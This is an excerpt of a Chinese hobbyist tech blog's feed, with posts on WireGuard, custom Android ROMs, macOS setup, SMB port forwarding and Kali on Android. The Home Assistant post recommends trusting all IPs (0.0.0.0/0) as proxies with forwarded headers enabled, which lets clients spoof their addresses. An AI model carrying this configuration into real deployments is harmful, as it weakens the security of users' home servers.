    <summary type="html"><![CDATA[<p>我在开始做这个之前一直使用的是 frp 公网映射方案。旧的域名过期了，新的域名正在备案，不能去做解析。同时使用 frp 方案去链接服务即意味着将服务暴露在公网上，即意味着其他人仍然可以打开你的网页。如果部署的某个项目出现了安全漏洞，将会对我们设备的数据安全造成不可估量的危害。如果不是有直接的公网访问需求，不推荐使用此方案，更推荐使用有额外鉴权的 VPN 方案。</p>
<p>我需要使用专门的段落强调一下，此处所提到的 VPN 是一种技术，正确使用是合法的，目前国内有许多企业或者高校仍在使用 VPN 技术进行远程办公，所以不要谈 VPN 色变。</p>
<p>本次我们搭建 WireGuard 所利用的就是专用网络（可以理解为局域网）这个属性，使得我们可以使用安全的方式链接到我们的局域网中的设备。并防止未经授权的登陆。</p>]]></summary>
    <content type="html"><![CDATA[<p>我在开始做这个之前一直使用的是 frp 公网映射方案。旧的域名过期了，新的域名正在备案，不能去做解析。同时使用 frp 方案去链接服务即意味着将服务暴露在公网上，即意味着其他人仍然可以打开你的网页。如果部署的某个项目出现了安全漏洞，将会对我们设备的数据安全造成不可估量的危害。如果不是有直接的公网访问需求，不推荐使用此方案，更推荐使用有额外鉴权的 VPN 方案。</p>
<p>我需要使用专门的段落强调一下，此处所提到的 VPN 是一种技术，正确使用是合法的，目前国内有许多企业或者高校仍在使用 VPN 技术进行远程办公，所以不要谈 VPN 色变。</p>
<p>本次我们搭建 WireGuard 所利用的就是专用网络（可以理解为局域网）这个属性，使得我们可以使用安全的方式链接到我们的局域网中的设备。并防止未经授权的登陆。</p>
<p>我在上周尝试使用 <a href="https://tailscale.com/" target="_blank" rel="noopener noreferrer">Tailscale</a> 搭建了一个大内网环境。由于他们的服务器在境外，所以体验并不是特别如意。平时也可以勉强用用，但是上周有一节选修课的时候，我想使用电脑远程到我的远程计算机去写仍然<a href="https://github.com/hestudio-community/apksigner-gui/tree/develop" target="_blank" rel="noopener noreferrer">没有完成的代码</a>，但是 Tailscale 的延迟令我萌生出找到解决方案或者卸载掉它的冲动。</p>
<p><a href="https://tailscale.com/kb/1232/derp-servers" target="_blank" rel="noopener noreferrer">Tailscale DERP</a> 部署上仍然有一些难度，且仍然有外网通信，影响效率。Tailscale 是基于 WireGuard 的，这给了一些启示。</p>
<p>我们可以使用 WireGuard 建立专用网络环境，但是我们的所有局域网节点设备均没有公网 IP，无法建立连接，需要有一台在公网环境下的服务器用于中转流量。我们在公网服务器上搭建 WireGuard 的服务端，然后让每个局域网节点设备均作为客户端进行工作。</p>
<p>在开始之前，我们需要明确的三点是：</p>
<ol>
<li><strong>如果你在学校或者单位使用，请清楚由于此行为导致的危害，包括但不限于由于你的操作而导致的有意或者无意中的泄密或者危害到单位或者学校的其他设备的安全以及之后的经济或者人身安全。如果你符合条件，并执意要继续操作，则造成的所有责任均为你个人承担。</strong></li>
<li>如果你正<strong>准备跟随本文的描述进行实践操作</strong>，请<strong>通篇阅读</strong>，并<strong>再三思考</strong>此文是否适合你。本文仅描述<strong>其中的一个个例</strong>（即我本人使用的方案），并<strong>不适合每个人</strong>，请在合适的时机做出自己的思考，<strong>切勿照搬照抄</strong>（每个人的网络环境都<strong>不一样</strong>）。</li>
<li>在操作之前，你需要具备基础的<strong>视力</strong>、<strong>计算机操作能力</strong>、<strong>Linux 基础知识</strong>、<strong>网络的基础知识</strong>、<strong>信息的检索能力</strong>。</li>
</ol>
]]></content>
    <category term="整活记录"/>
    <published>2025-09-28T13:49:31.000Z</published>
  </entry>
  <entry>
    <title type="text">LineageOS for Redmi Note 7 Pro</title>
    <id>https://www.hestudio.net/common/lineageos-violet/</id>
    <link href="https://www.hestudio.net/common/lineageos-violet/"/>
    <updated>2025-08-16T12:01:20.000Z</updated>
    <summary type="html"><![CDATA[<div class="hint-container caution">
<p class="hint-container-title">声明</p>
<p>这里提供的是基于 <a href="https://lineageos.org/" target="_blank" rel="noopener noreferrer">LineageOS</a> 二次开发的第三方 ROM，如需要下载官方 ROM 请前往 <a href="https://lineageos.org/" target="_blank" rel="noopener noreferrer">LineageOS</a> 下载。我们认为你拥有自行处理此 ROM 的能力，我们只接受 bug 反馈和新功能建议，不接受由于你个人原因导致的问题和求助。</p>
</div>]]></summary>
    <content type="html"><![CDATA[<div class="hint-container caution">
<p class="hint-container-title">声明</p>
<p>这里提供的是基于 <a href="https://lineageos.org/" target="_blank" rel="noopener noreferrer">LineageOS</a> 二次开发的第三方 ROM，如需要下载官方 ROM 请前往 <a href="https://lineageos.org/" target="_blank" rel="noopener noreferrer">LineageOS</a> 下载。我们认为你拥有自行处理此 ROM 的能力，我们只接受 bug 反馈和新功能建议，不接受由于你个人原因导致的问题和求助。</p>
</div>
<div class="hint-container warning">
<p class="hint-container-title">停更提醒</p>
<p>作者已经停止使用 Redmi Note 7 Pro 设备并将其转让，已经不具备 ROM 更新条件，现只做上游同步，不做新功能添加。你仍然可以在这里下载最新版本的镜像，感谢你的支持。</p>
</div>
]]></content>
    <category term="软件发布"/>
    <published>2025-08-04T13:45:25.000Z</published>
  </entry>
  <entry>
    <title type="text">面向开发人员的macOS入门教程</title>
    <id>https://www.hestudio.net/posts/macos-enter-door-for-develop.html</id>
    <link href="https://www.hestudio.net/posts/macos-enter-door-for-develop.html"/>
    <updated>2025-07-23T09:42:16.000Z</updated>
    <summary type="html"><![CDATA[<p>最近刚从 macOS 降级回来，数据全部丢失了，我需要重新配置功能项以帮助我提升开发效率，顺便记录一下我优化自己的 Mac 的过程。</p>
<h1>终端</h1>
<h2>开发套件安装</h2>
<p>作为一名开发者，最离不开的就是终端了，我们需要一系列终端工具用于开发，也需要配置一系列环境，这时候就需要安装<strong>Command Line Tools</strong>. 这些工具提供 macOS 开发基本环境，是多数第三方工具和包管理器（如 Homebrew）的依赖。我们可以使用下面的命令安装。</p>
<div class="language-bash line-numbers-mode" data-highlighter="prismjs" data-ext="sh"><pre><code class="language-bash"><span class="line">xcode-select <span class="token parameter variable">--install</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div>]]></summary>
    <content type="html"><![CDATA[<p>最近刚从 macOS 降级回来，数据全部丢失了，我需要重新配置功能项以帮助我提升开发效率，顺便记录一下我优化自己的 Mac 的过程。</p>
<h1>终端</h1>
<h2>开发套件安装</h2>
<p>作为一名开发者，最离不开的就是终端了，我们需要一系列终端工具用于开发，也需要配置一系列环境，这时候就需要安装<strong>Command Line Tools</strong>. 这些工具提供 macOS 开发基本环境，是多数第三方工具和包管理器（如 Homebrew）的依赖。我们可以使用下面的命令安装。</p>
<div class="language-bash line-numbers-mode" data-highlighter="prismjs" data-ext="sh"><pre><code class="language-bash"><span class="line">xcode-select <span class="token parameter variable">--install</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><p>我这边已经安装完了，所以显示结果如图。</p>
<figure><img src="https://img.hestudio.net/2025/07/22/687f98b258084.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
]]></content>
    <category term="macOS"/>
    <published>2025-07-23T09:42:16.000Z</published>
  </entry>
  <entry>
    <title type="text">APKSigner GUI</title>
    <id>https://www.hestudio.net/common/apksignergui/</id>
    <link href="https://www.hestudio.net/common/apksignergui/"/>
    <updated>2025-04-29T03:02:52.000Z</updated>
    <summary type="html"><![CDATA[<div align="center">
   <img src="https://img.hestudio.net/2025/03/30/67e92a99852a9.webp">
   <p style="text-align: center">简单又完整的APK签名图形化工具</p>
</div>
<hr>
<h3>特点</h3>
<ul>
<li><strong>上手简单</strong>: 面向小白用户，只需要导 APK 就可以直接签名。</li>
<li><strong>功能完整</strong>: 面向资深用户，提供了谷歌官方提供的所有签名参数支持。</li>
<li><strong>兼容性好</strong>: 支持多种操作系统和架构，包括 Windows、Linux、MacOS 等。</li>
<li><strong>饼画的圆</strong>: 初期项目，有许多不完善的地方，给大佬们留下足够的扩展空间。</li>
</ul>]]></summary>
    <content type="html"><![CDATA[<div align="center">
   <img src="https://img.hestudio.net/2025/03/30/67e92a99852a9.webp">
   <p style="text-align: center">简单又完整的APK签名图形化工具</p>
</div>
]]></content>
    <category term="软件发布"/>
    <published>2025-03-30T11:36:52.000Z</published>
  </entry>
  <entry>
    <title type="text">小米平板 4 Plus 玩机日志</title>
    <id>https://www.hestudio.net/posts/mipad4plus-uselog.html</id>
    <link href="https://www.hestudio.net/posts/mipad4plus-uselog.html"/>
    <updated>2026-02-07T13:54:55.000Z</updated>
    <summary type="html"><![CDATA[<p>在一次偶然中，我从一个角落中找到了这台小米平板 4 Plus（是的，现在正在用这个平板写这篇文章）。在找到她的时候，她已经奄奄一息了，即使按动那脆弱的电源键也没有任何响应。</p>
<p>在给她补充能源后，她又恢复了往日的生机。这台平板在 2018 年发布，仅在 2020 年就停止了官方维护，搭载着骁龙 660 的身体和 Android 8.1 的系统并无法在现在正常的使用。如何让她焕发生机，就成了这期文章的主题了。</p>
<h3>重拾过往</h3>
<p>目前来说，换一个 Soc 很困难，但是对于老款小米来说的话，解锁 Bootloader 应该是个轻松的事情。系统搭载着基于 Android 8.1 的 MIUI 10 ，只需要在登录小米账号后等 7 天就行。我们在这期间测试了这个系统能否在现在的环境下正常使用。</p>]]></summary>
    <content type="html"><![CDATA[<p>在一次偶然中，我从一个角落中找到了这台小米平板 4 Plus（是的，现在正在用这个平板写这篇文章）。在找到她的时候，她已经奄奄一息了，即使按动那脆弱的电源键也没有任何响应。</p>
<p>在给她补充能源后，她又恢复了往日的生机。这台平板在 2018 年发布，仅在 2020 年就停止了官方维护，搭载着骁龙 660 的身体和 Android 8.1 的系统并无法在现在正常的使用。如何让她焕发生机，就成了这期文章的主题了。</p>
<h3>重拾过往</h3>
<p>目前来说，换一个 Soc 很困难，但是对于老款小米来说的话，解锁 Bootloader 应该是个轻松的事情。系统搭载着基于 Android 8.1 的 MIUI 10 ，只需要在登录小米账号后等 7 天就行。我们在这期间测试了这个系统能否在现在的环境下正常使用。</p>
<figure><img src="https://img.hestudio.net/2025/03/13/67d2731b94851.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<p>首先是系统软件，系统软件都无法更新，并停留在 MIUI 10 时期的设计风格。这个风格和操作逻辑在目前来说已经过时（甚至都不支持音量下 + 电源键截屏）。系统虽然支持了全面屏操作手势，但是操作尚未进行打磨，略感生硬一点。从之前的生态发展情况来看，安卓平板一直都不景气，维护周期低也属于正常情况。</p>
<figure><img src="https://img.hestudio.net/2025/03/13/67d2733a5457f.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<p>对于 LTE 版本的话，官方系统阉割了电话功能，你插卡只能使用短信和移动数据。当然也是有一点好处的。毕竟广告 API 都换接口了，没有（系统）广告也是真的。</p>
<p>对于第三方应用，这个时候就体现出国内软件强大的兼容性了。几乎所有的国产软件都可以在安卓 7.1 和 5.1 下正常运行，甚至有的软件可以在安卓 4.x 版本下运行。在原版系统不刷任何模块的情况下，如果单纯日常使用已经足够了。</p>
<p>但是如果要使用境外软件的话，这台平板在官方系统上完全谈不到能用。</p>
<p>首先，MIUI 10 并没有给预装 GMS 套件，这导致了你可以与很多 App 说 Bye 了。其次，这系统 版本也过于老旧了，就拿 Microsoft Remote Desktop 举例，最新的版本的 Min SDK 是 API 28 （Android 9）。如果要使用的话就只能使用老版本和老旧的软件解码器。诸如 Microsoft 365 和 Google Chrome 等一众生产力功能已经无法安装。</p>
<p>另附注：Webview 版本是 71 的，也意味着你打不开很多先进的网页。对于爱奇艺神器来说的话，也已经无法维持正常的工作了。</p>
<h3>焕然一新</h3>
<p>在进行了 7 天的煎熬的等待后，这个平板终于可以解锁 BootLoader 了。我逛遍了各大论坛，这个板子使用两种包，一种是类原生，一种是 MIUI 13 的官改包。</p>
<p>先来盘点一下 MIUI 13 的包，目前来说，我能找到的包都是 Android 11 的包。考虑到她的渺小的 System 分区和那已经过时的 4 GB 运行内存，我不认为刷这个包可以带来多好的体验。由于 System 分区根本不够用，系统肯定要阉割很多组件。如果你刷机是奔着和你的小米手机互联，则可以考虑一下，否则完全不建议你刷入官改 MIUI 13.</p>
<p>我选择的是 Crdroid Android 的类原生系统，目前对比下来，Crdroid 的系统仍然在持续更新中，并且已经更新 Android 15，而且他们家对于大屏方面的优化要强于其他的类原生操作系统。Crdroid 的官网充斥着广告和随意跳转的链接，我们可以通过 SourceForge 的下载链接下载，她的代号是<code>clover</code>，只需要找到对应的代号下载即可。</p>
<figure><img src="https://img.hestudio.net/2025/03/13/67d2734d54bf5.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<p>在刷入的时候我就遇到了一个坑，我的电脑 USB 接口是 USB 3.0 的，在连接 Fastboot 模式后不识别我的设备，这个可以参照我之前的一篇教程解决: <a href="https://www.hestudio.net/posts/fix-xiaomi-fastboot-driver.html" target="_blank" rel="noopener noreferrer">https://www.hestudio.net/posts/fix-xiaomi-fastboot-driver.html</a></p>
<p>刷入之后可以正常使用，使用过程中有些小卡顿，但是至少是可以正常使用了。</p>
<p>关于校验的问题，这个我还没太搞懂，可能要靠大家帮忙了。事情是这样的，我本来想给这个板子刷面具，但是刷入之后修补 Boot 之后无法进入系统（也就是卡米），只能靠还原 Boot 恢复。之前刷过一台手机（不应该当着她的面提另一台手机的，她会吃醋的），出现这个问题的原因是没有关 AVB 校验，导致校验不通过。但是我没有在包中找到她的 <code>vbmeta.img</code>，不知道如何开 Root. 目前我有一种方案，就是重新打包 ROM，然后在 ROM 中集成 Magisk，可能这个方法能解决问题，我并未尝试，不知道有没有作用。</p>
<p>之后就放寒假了，我将她和其他设备一起塞进包里一起打包带回家了。当时正在写 Web 的动态布局，所以用这个平板作为测试用机使用。后来项目写完了，平板就放在那里吃灰了。毕竟这么一个 7 年前的平板的性能肯定是不如现在性能强悍的旗舰机的。这个平板也就被我弟拿去玩去了。</p>
<figure><img src="https://img.hestudio.net/2025/03/13/67d27368be679.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<p>对于游戏来说，我弟在这个平板上下载了三款游戏，分别是暗区突围、沙威玛传奇、Minecraft.其中，Minecraft 在该平板运行的效果不是特别好，有卡顿感，这个东西跟个人习惯和插件数量有关。据我弟描述（我不会玩），这个平板玩暗区突围的体验还是很可以的，腾讯对游戏的优化还是很不错的（让每一个小学生都能平等的充值 648）。我记得在 2020 年的时候，我的上古 OPPO A59s 仍然可以打吃鸡。</p>
<p>那对于软件的话，就有点差强人意了。 这个平板不能同时运行两个 3A 大作，一旦出现两个 3A 大作（QQ 和抖音）同时出现在后台，这个平板就会寄掉。我愿称这俩为大厂优化最烂的软件了（自家的游戏都比这个流畅）。大厂通过优化极强的游戏和极低的爆率为国家提供极高的 GDP，然后使用优化极烂的社交软件让大学生为手机厂商贡献出旗舰机的销量，变相贡献 GDP.</p>
<blockquote>
<p>微信：登录已过期，请重新登录。</p>
</blockquote>
<h3>锦上添花</h3>
<p>可能冷落她的时间有点长了，她的耐心已经殆尽，单次充满电的使用时长已经不超过一个小时了。我在闲鱼（不是广子）上淘了一块电池，准备给她换上。大概等了三年（天上一天地上一年）终于拿到电池了。</p>
<figure><img src="https://img.hestudio.net/2025/03/13/67d27385b0abb.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<p>我之前认为这个平板是塑料壳子的（这个质感和外观很难想象是金属的），但是这个确实是金属的，我拆了一下午都拆不开，只能在外面找了一个手机店拆机（手机店老板查教程拆了半个小时才拆开）。</p>
<figure><img src="https://img.hestudio.net/2025/03/13/67d27392447e7.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<p>这个系统还差了一点东西，比如下载应用不方便、通知接收问题。Crdroid 的包里并没有 GMS 套件，需要手动补全。OpenGapps 的 Github 目前仍在更新，但是官方 Release 只更新到 Android 11。</p>
<p>我刷的是<a href="https://nikgapps.com/downloads.html" target="_blank" rel="noopener noreferrer">NikGapps</a>的 GMS 套件，这个平板只能刷 Core 包（毕竟 System 分区就那点大小了）。当时刷的时候刷的是 Full 包，刷入的时候一直报错空间不足，我只能刷回 Crdroid 包覆盖掉。但是，Crdroid 会备份包内的其他应用，刷完之后再恢复（这点比 LineageOS 做的强一点）。</p>
<figure><img src="https://img.hestudio.net/2025/03/13/67d273a3a3500.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<p>最后的解决方案是这样的：先抹掉 System 分区，然后刷入 Crdroid，最后刷入 GMS Core 套件。重启系统时候过一遍 OOBE 就可以正常使用了，数据也可以正常保留。</p>
<h3>完结撒花</h3>
<p>如今，这台小米平板 4 Plus 在经历重重改造后，虽不再拥有全新设备的极致性能，却以独特的姿态在生活中找到了新的定位。她见证了数码科技的变迁，从曾经官方维护停止的黯淡，到在各种折腾与优化下重获新生。现在的她，偶尔被我拿来查阅资料，在那不算流畅却也稳定的操作中，开启一段别样的信息探索之旅；而当我望着她，心中满是感慨，这不仅是一次对旧设备的拯救，更是一场与数码过往的对话。未来，或许她还会面临新的挑战，但我相信，只要对数码的热爱与探索精神不灭，她定能继续在时光里闪耀独属于自己的微光，续写属于她的不凡故事 。</p>
<p>最后，附上几张使用图片。</p>
<figure><img src="https://img.hestudio.net/2025/03/13/67d2741a281d5.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<figure><img src="https://img.hestudio.net/2025/03/13/67d2743b7b900.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<figure><img src="https://img.hestudio.net/2025/03/13/67d274b7bdc37.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<figure><img src="https://img.hestudio.net/2025/03/13/67d274e641df2.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
]]></content>
    <category term="整活记录"/>
    <category term="Android"/>
    <published>2025-03-13T06:02:56.000Z</published>
  </entry>
  <entry>
    <title type="text">如何暴力的设置Home Assistant的反向代理（解决Home Assistant反向代理的各种问题）</title>
    <id>https://www.hestudio.net/posts/how-allow-reverse-proxy-ha.html</id>
    <link href="https://www.hestudio.net/posts/how-allow-reverse-proxy-ha.html"/>
    <updated>2025-03-13T06:15:20.000Z</updated>
    <summary type="html"><![CDATA[<p>在设置 Home Assistant 的反向代理后很容易遇到<code>400: Bad Request</code>或者<code>Unable to connect to Home Assistant.</code>的问题，经过我研究后找到了一个完美且暴力的方案，就是放行所有 IP 地址。</p>
<p>在<code>&lt;Home Assistant目录&gt;/config/configuration.yaml</code>里添加这么一段内容并重启 Home Assistant.</p>
<div class="language-yaml line-numbers-mode" data-highlighter="prismjs" data-ext="yml"><pre><code class="language-yaml"><span class="line"><span class="token key atrule">http</span><span class="token punctuation">:</span></span>
<span class="line">  <span class="token key atrule">use_x_forwarded_for</span><span class="token punctuation">:</span> <span class="token boolean important">true</span></span>
<span class="line">  <span class="token key atrule">trusted_proxies</span><span class="token punctuation">:</span></span>
<span class="line">    <span class="token punctuation">-</span> 0.0.0.0/0</span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div>]]></summary>
    <content type="html"><![CDATA[<p>在设置 Home Assistant 的反向代理后很容易遇到<code>400: Bad Request</code>或者<code>Unable to connect to Home Assistant.</code>的问题，经过我研究后找到了一个完美且暴力的方案，就是放行所有 IP 地址。</p>
<p>在<code>&lt;Home Assistant目录&gt;/config/configuration.yaml</code>里添加这么一段内容并重启 Home Assistant.</p>
<div class="language-yaml line-numbers-mode" data-highlighter="prismjs" data-ext="yml"><pre><code class="language-yaml"><span class="line"><span class="token key atrule">http</span><span class="token punctuation">:</span></span>
<span class="line">  <span class="token key atrule">use_x_forwarded_for</span><span class="token punctuation">:</span> <span class="token boolean important">true</span></span>
<span class="line">  <span class="token key atrule">trusted_proxies</span><span class="token punctuation">:</span></span>
<span class="line">    <span class="token punctuation">-</span> 0.0.0.0/0</span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><figure><img src="https://img.hestudio.net/2025/02/08/67a659d0c3afa.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
]]></content>
    <category term="整活记录"/>
    <published>2025-02-07T19:16:59.000Z</published>
  </entry>
  <entry>
    <title type="text">【新年新活】在安卓手机上使用Ollama运行本地大模型</title>
    <id>https://www.hestudio.net/posts/ollama-on-termux.html</id>
    <link href="https://www.hestudio.net/posts/ollama-on-termux.html"/>
    <updated>2026-03-01T17:46:10.000Z</updated>
    <summary type="html"><![CDATA[<p>众所周知，我们国产模型<code>DeepSeek</code>大过年的给美股来了几下子，在我们过年的时候让洋人过不了一个安稳年（滑稽）。直到我写这篇帖子的时候，DeepSeek 的部分服务仍然处于一个不可用的状态。</p>
<figure><img src="https://img.hestudio.net/2025/01/30/679b5561dd98a.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<p>本着增强动手能力（整活）的心态，我决定在我的手机上安装一个<code>deepseek-r1</code>模型。由于在电脑上安装过于简单，将不再赘述。</p>
]]></summary>
    <content type="html"><![CDATA[<p>众所周知，我们国产模型<code>DeepSeek</code>大过年的给美股来了几下子，在我们过年的时候让洋人过不了一个安稳年（滑稽）。直到我写这篇帖子的时候，DeepSeek 的部分服务仍然处于一个不可用的状态。</p>
<figure><img src="https://img.hestudio.net/2025/01/30/679b5561dd98a.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<p>本着增强动手能力（整活）的心态，我决定在我的手机上安装一个<code>deepseek-r1</code>模型。由于在电脑上安装过于简单，将不再赘述。</p>
<!-- more -->
]]></content>
    <category term="整活记录"/>
    <category term="新年新活"/>
    <published>2025-01-30T11:27:11.000Z</published>
  </entry>
  <entry>
    <title type="text">在Windows上使用其他端口连接SMB服务</title>
    <id>https://www.hestudio.net/posts/use-smb-another-port-on-windows.html</id>
    <link href="https://www.hestudio.net/posts/use-smb-another-port-on-windows.html"/>
    <updated>2025-12-27T06:59:09.000Z</updated>
    <summary type="html"><![CDATA[<p>在部署 NAS 后，通常我们会使用 SMB（Server Message Block）服务来备份设备。然而，由于安全限制，公网通常无法直接访问 445 端口，因此需要修改 SMB 服务的端口。然而，Windows 默认只能连接 445 端口的 SMB 服务，且该端口是硬编码的。为了解决这个问题，我们可以通过端口映射的方式来实现连接。</p>
<h4>步骤 1：停止并禁用本机的 SMB 服务</h4>
<p>为了通过本地环回地址映射到非标准端口的 SMB 服务，首先需要停止并禁用本机的 SMB 服务。</p>
<ol>
<li>
<p>打开 Windows 服务管理器：</p>
<ul>
<li>按下 <code>Win + R</code>，输入 <code>services.msc</code>，然后按回车。</li>
<li>在服务列表中找到 <code>Server</code> 服务。</li>
</ul>
<figure><img src="https://img.hestudio.net/2025/01/22/6790d06198421.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
</li>
<li>
<p>停止并禁用 <code>Server</code> 服务：</p>
<ul>
<li>右键点击 <code>Server</code> 服务，选择 <code>停止</code>。</li>
<li>再次右键点击，选择 <code>属性</code>，将启动类型设置为 <code>禁用</code>。</li>
</ul>
<figure><img src="https://img.hestudio.net/2025/01/22/6790d0837bdfa.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
</li>
<li>
<p>重启电脑以确保更改生效。</p>
</li>
</ol>]]></summary>
    <content type="html"><![CDATA[<p>在部署 NAS 后，通常我们会使用 SMB（Server Message Block）服务来备份设备。然而，由于安全限制，公网通常无法直接访问 445 端口，因此需要修改 SMB 服务的端口。然而，Windows 默认只能连接 445 端口的 SMB 服务，且该端口是硬编码的。为了解决这个问题，我们可以通过端口映射的方式来实现连接。</p>
<h4>步骤 1：停止并禁用本机的 SMB 服务</h4>
<p>为了通过本地环回地址映射到非标准端口的 SMB 服务，首先需要停止并禁用本机的 SMB 服务。</p>
<ol>
<li>
<p>打开 Windows 服务管理器：</p>
<ul>
<li>按下 <code>Win + R</code>，输入 <code>services.msc</code>，然后按回车。</li>
<li>在服务列表中找到 <code>Server</code> 服务。</li>
</ul>
<figure><img src="https://img.hestudio.net/2025/01/22/6790d06198421.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
</li>
<li>
<p>停止并禁用 <code>Server</code> 服务：</p>
<ul>
<li>右键点击 <code>Server</code> 服务，选择 <code>停止</code>。</li>
<li>再次右键点击，选择 <code>属性</code>，将启动类型设置为 <code>禁用</code>。</li>
</ul>
<figure><img src="https://img.hestudio.net/2025/01/22/6790d0837bdfa.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
</li>
<li>
<p>重启电脑以确保更改生效。</p>
</li>
</ol>
<h4>步骤 2：设置端口转发</h4>
<p>接下来，我们需要通过命令提示符设置端口转发，将本地的 445 端口映射到远程 SMB 服务器的非标准端口。</p>
<ol>
<li>
<p>以管理员身份打开命令提示符：</p>
<ul>
<li>按下 <code>Win + X</code>，选择 <code>Windows PowerShell (管理员)</code> 或 <code>命令提示符 (管理员)</code>。</li>
</ul>
</li>
<li>
<p>输入以下命令来设置端口转发：</p>
<div class="language-powershell line-numbers-mode" data-highlighter="prismjs" data-ext="powershell"><pre><code class="language-powershell"><span class="line">netsh interface portproxy add v4tov4 listenport=445 listenaddress=172<span class="token punctuation">.</span>16<span class="token punctuation">.</span>61<span class="token punctuation">.</span>16 connectaddress=&lt;服务器IP或域名&gt; connectport=&lt;服务器端口&gt;</span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><p>其中：</p>
<ul>
<li><code>listenport=445</code> 表示本地监听的端口。</li>
<li><code>listenaddress=172.16.61.16</code> 表示本地监听的 IP 地址。</li>
<li><code>connectaddress=&lt;服务器IP或域名&gt;</code> 表示远程 SMB 服务器的 IP 地址或域名。</li>
<li><code>connectport=&lt;服务器端口&gt;</code> 表示远程 SMB 服务器的端口号。</li>
</ul>
</li>
</ol>
<h4>步骤 3：连接 SMB 服务</h4>
<p>完成端口转发设置后，您可以通过以下方式连接 SMB 服务：</p>
<ul>
<li>在文件资源管理器的地址栏中输入 <code>\\127.0.0.1</code>，然后按回车。</li>
</ul>
<p>此时，Windows 将通过本地环回地址连接到远程 SMB 服务器，绕过默认的 445 端口限制。</p>
<h4>注意事项</h4>
<ul>
<li>确保远程 SMB 服务器的端口已正确配置并允许访问。</li>
<li>如果需要恢复本机的 SMB 服务，可以重新启用 <code>Server</code> 服务并删除端口转发规则。</li>
</ul>
<p>通过以上步骤，您可以成功在 Windows 上连接非标准端口的 SMB 服务，实现设备备份和数据共享。</p>
]]></content>
    <category term="Windows"/>
    <published>2025-01-22T11:08:49.000Z</published>
  </entry>
  <entry>
    <title type="text">【4.0】在Android手机上安装kali Linux</title>
    <id>https://www.hestudio.net/posts/install-kali-on-android-4.0.html</id>
    <link href="https://www.hestudio.net/posts/install-kali-on-android-4.0.html"/>
    <updated>2025-11-12T10:58:45.000Z</updated>
    <summary type="html"><![CDATA[<p>由于脚本迭代太多，之前的教程已经完全不适合现在的脚本的，给使用脚本的用户带来了些许障碍。我们特此根据现有版本的脚本<code>v4.0.x</code>重新撰写教程。</p>
<p>在写新版脚本之前，我们在 QQ 群里里统计了 Android 用户的版本占比，并根据统计的结果作为优化侧重点。，根据统计结果，我们侧重于高版本 Android 的优化，并推出了导致 proot 容器闪退的集成解决方案，使用户更容易的使用脚本。</p>
<p>建议在安装之前，先粗略的阅读一遍教程和文章底部的文档，方便在遇到问题是及时定位到相应的文档。</p>
<figure><img src="https://img.hestudio.net/2024/12/12/675a9c22988b4.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>]]></summary>
    <content type="html"><![CDATA[<p>由于脚本迭代太多，之前的教程已经完全不适合现在的脚本的，给使用脚本的用户带来了些许障碍。我们特此根据现有版本的脚本<code>v4.0.x</code>重新撰写教程。</p>
<p>在写新版脚本之前，我们在 QQ 群里里统计了 Android 用户的版本占比，并根据统计的结果作为优化侧重点。，根据统计结果，我们侧重于高版本 Android 的优化，并推出了导致 proot 容器闪退的集成解决方案，使用户更容易的使用脚本。</p>
<p>建议在安装之前，先粗略的阅读一遍教程和文章底部的文档，方便在遇到问题是及时定位到相应的文档。</p>
<figure><img src="https://img.hestudio.net/2024/12/12/675a9c22988b4.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<h3>前言</h3>
<p>由于 kali 官方的 <a href="https://www.kali.org/docs/nethunter/nethunter-rootless/" target="_blank" rel="noopener noreferrer">Nethunter</a> 的安装代码因为...无法访问，手头又没有一些<a href="https://www.kali.org/get-kali/#kali-mobile" target="_blank" rel="noopener noreferrer">受支持的机器</a>，所以做了这个脚本，供大家使用。</p>
<h3>工具</h3>
<ol>
<li>搭载基于 Android 的手机</li>
<li>Termux</li>
<li>VNC Viewer (可选)</li>
<li>Shizuku (Android12 及以上版本可选， Android11 及以下版本无需此软件)</li>
</ol>
<h3>安装软件(如已安装请忽略)</h3>
<p>你可以在 <a href="https://github.com/termux/termux-app/releases/tag/v0.118.3" target="_blank" rel="noopener noreferrer">Github</a> 下载Termux的安装包，也可以通过关注<a href="/about/weixin.html" target="_blank">微信公众号 heStudio Community</a>回复 kali 获取下载链接。</p>
<h3>安装基本系统</h3>
<p>打开 Termux， 运行安装脚本。</p>
<div class="hint-container info">
<p class="hint-container-title">提示</p>
